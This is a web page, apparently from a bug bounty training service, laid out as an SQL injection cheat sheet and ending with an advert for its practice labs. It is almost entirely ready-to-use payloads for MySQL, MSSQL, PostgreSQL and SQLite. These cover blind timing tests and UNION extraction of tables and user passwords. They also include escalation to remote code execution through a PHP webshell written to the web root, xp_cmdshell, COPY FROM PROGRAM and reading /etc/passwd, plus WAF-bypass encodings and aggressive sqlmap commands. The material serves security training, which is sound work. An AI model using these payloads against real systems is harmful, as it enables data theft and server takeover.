SQLi Cheatsheet

SQL Injection

Quick reference

→Always try isomorphic tests before polyglots — less noise, more precision
→PostgreSQL treats -- followed by a negative number as a comment (no space)
→If a field has a forced length, combine a cross-field injection across parameters
→MSSQL allows stacked queries with ; which enables RCE via xp_cmdshell
→Use CHAR() or hex encoding when quotes are blocked

Detection - initial payloads

Single quote

Double quote

MySQL comment

' OR 1=1-- -

Numeric isomorphic testIf it returns the same as ID=1, the arithmetic runs in SQL

ID=2-1

LIKE isomorphic testA double % reveals an unsanitized LIKE context

q=Big%%

String isomorphic testString concatenation confirms the injection

name=Big' '

Time-based blind - MySQL

Basic SLEEP

' AND SLEEP(5)-- -

SLEEP with parenthesis

') AND SLEEP(5)-- -

SLEEP double quote

" AND SLEEP(5)-- -

SELECT SLEEP

' AND (SELECT SLEEP(5))-- -

OR SLEEP

' OR SLEEP(5)-- -

BENCHMARK

' AND BENCHMARK(10000000,SHA1('test'))-- -

Time-based blind - MSSQL and PostgreSQL

MSSQL WAITFOR

'; WAITFOR DELAY '0:0:5'-- -

MSSQL with parenthesis

'); WAITFOR DELAY '0:0:5'-- -

PostgreSQL pg_sleep

'; SELECT pg_sleep(5)-- -

PostgreSQL OR

' || pg_sleep(5)-- -

SQLite RANDOMBLOB

' AND 1=RANDOMBLOB(500000000)-- -

Union-based extraction

Determine columns (ORDER BY)Increment until you get an error to find the column count

' ORDER BY 1-- -

UNION SELECT NULL

' UNION SELECT NULL,NULL,NULL-- -

Extract MySQL version

' UNION SELECT @@version,NULL,NULL-- -

List tables

' UNION SELECT table_name,NULL FROM information_schema.tables-- -

List columns

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

No quotes with CHAR()Use CHAR() when quotes are filtered

UNION SELECT CONCAT(user, CHAR(32), password) FROM users-- -

Escalation to RCE

MySQL - webshell via INTO OUTFILE

' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

MySQL - read files

' UNION SELECT LOAD_FILE('/etc/passwd')-- -

MSSQL - xp_cmdshell

'; EXEC xp_cmdshell 'whoami'-- -

MSSQL - enable xp_cmdshell

'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -

PostgreSQL - COPY TO webshell

'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'-- -

PostgreSQL - COPY PROGRAM

'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami';-- -

WAF bypass

WAF	Técnica	Payload
Space filter	Inline comments	'//UNION//SELECT/**/1,2,3-- -
Quote filter	CHAR() encoding	UNION SELECT CONCAT(CHAR(97),CHAR(100),CHAR(109))-- -
UNION filter	Case manipulation	' uNiOn SeLeCt 1,2,3-- -
Keyword filter	Double URL encoding	%252f%252a/UNION%252f%252a/SELECT
Comment filter	Newline bypass	' OR 1=1%0AUNION%0ASELECT%0A1,2,3-- -

Tools

sqlmap

Automated SQLi detection and exploitation tool

sqlmap -r request.txt --batch --level=5 --risk=3 --dbs

ghauri

sqlmap alternative with better blind SQLi detection

ghauri -r request.txt --batch --dbs

Burp Suite + SQLi extension

Assisted manual detection with encoding and automatic payloads

Burp Suite > Extensions > SQLiPy / Hackvertor

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs

hunters training: 650
labs from real reports: 50
completions: 380
in bounties practiced: $200,000

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

Create free account See the labs

No card · free Academy · cancel anytime